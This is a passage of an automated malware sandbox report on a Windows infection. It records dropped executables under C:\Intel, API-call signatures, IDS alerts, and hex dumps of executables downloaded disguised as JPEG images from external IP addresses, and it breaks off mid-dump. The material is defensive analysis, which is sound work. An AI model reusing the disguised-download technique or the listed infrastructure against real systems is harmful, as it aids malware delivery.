00000026.00000002.20394155958.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388028622.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416665272.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396813028.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000032.00000002.20546299739.00000000002DD000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: SAS.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp

Source: C:\Intel\curl.exe	Code function: 34_2_002CCD06 FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	34_2_002CCD06
Source: C:\Intel\curl.exe	Code function: 34_2_002CFCDD FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	34_2_002CFCDD
Source: C:\Intel\driver.exe	Code function: 40_2_0040F8BC FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError,	40_2_0040F8BC
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00407C0E FindFirstFileA,	41_2_00407C0E
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_0040DB44 FindFirstFileA,	41_2_0040DB44
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_0040DDDC FindFirstFileA,	41_2_0040DDDC
Source: C:\Intel\svchost.exe	Code function: 42_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	42_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 44_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	44_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 45_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	45_2_03E34400

Source: C:\Intel\Trays\Trays.exe

Code function: 41_2_00407D0E GetLogicalDriveStringsA,

41_2_00407D0E

Source: C:\Intel\Trays\4t-min64.exe

Code function: 4x nop then inc dword ptr [rbp-28h]

43_2_00418560

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2025161 - Severity 1 - ET MALWARE Windows executable sent when remote host claims to send an image M4 : 185.125.51.5:80 -> 192.168.11.20:49754
Source: Network traffic	Suricata IDS: 2025169 - Severity 1 - ET MALWARE Windows Executable Downloaded With Image Content-Type Header : 185.125.51.5:80 -> 192.168.11.20:49754

System process connects to network (likely due to code injection or exploit)

Source: C:\Intel\svchost.exe

Network Connect: 57.129.37.157 80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:48 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "49400-62831fb300240" Accept-Ranges: bytes Content-Length: 300032 Content-Type: image/jpeg Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ed bf cf 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 30 04 00 00 b8 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 06 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 90 05 00 67 00 00 00 00 80 05 00 8d 0d 00 00 00 a0 05 00 f8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 04 00 00 10 00 00 00 26 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 40 04 00 00 46 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 60 05 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 00 10 00 00 00 70 05 00 00 02 00 00 00 74 04 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:50 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "3c000-62831fb300240" Accept-Ranges: bytes Content-Length: 245760 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 71 03 00 50 00 00 00 00 e0 03 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 59 02 00 00 10 00 00 00 60 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 0a 01 00 00 70 02 00 00 10 01 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5b 00 00 00 80 03 00 00 30 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 04 00 00 00 e0 03 00 00 10 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:52 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:14 GMT ETag: "515a00-62831fb3f4480" Accept-Ranges: bytes Content-Length: 5331456 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 76 01 8c 00 00 00 00 a0 25 01 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 28 00 00 00 10 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 00 54 25 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 fa 02 00 00 00 a0 25 01 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 26 51 00 00 b0 25 01 00 24 51 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 03 00 00 00 e0 76 01 00 04 00 00 00 56 51 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:58 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:22:40 GMT ETag: "cb190-628362a1aac00" Accept-Ranges: bytes Content-Length: 831888 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 0c 00 00 04 00 00 7c 20 0d 00 02 00 00 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c cd 08 00 54 01 00 00 00 b0 0a 00 1c b6 01 00 00 00 00 00 00 00 00 00 f8 a1 0c 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 40 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 00 08 00 00 10 00 00 00 02 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5c d9 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c b6 01 00 00 b0 0a 00 00 b8 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1

Source: global traffic

UDP traffic: 192.168.11.20:62457 -> 239.255.102.18:50001

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 11 Jan 2025 06:53:48 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:13 GMTETag: "49400-62831fb300240"Accept-Ranges: bytesContent-Length: 300032Content-Type: image/jpegData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ed bf cf 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 30 04 00 00 b8 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 06 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 90 05 00 67 00 00 00 00 80 05 00 8d 0d 00 00 00 a0 05 00 f8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 04 00 00 10 00 00 00 26 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 40 04 00 00 46 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 60 05 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 00 10 00 00 00 70 05 00 00 02 00 00 00 74 04 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 11 Jan 2025 06:53:50 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:13 GMTETag: "3c000-62831fb300240"Accept-Ranges: bytesContent-Length: 245760Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 71 03 00 50 00 00 00 00 e0 03 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 59 02 00 00 10 00 00 00 60 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 0a 01 00 00 70 02 00 00 10 01 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5b 00 00 00 80 03 00 00 30 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 04 00 00 00 e0 03 00 00 10 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 11 Jan 2025 06:53:52 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:14 GMTETag: "515a00-62831fb3f4480"Accept-Ranges: bytesContent-Length: 5331456Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 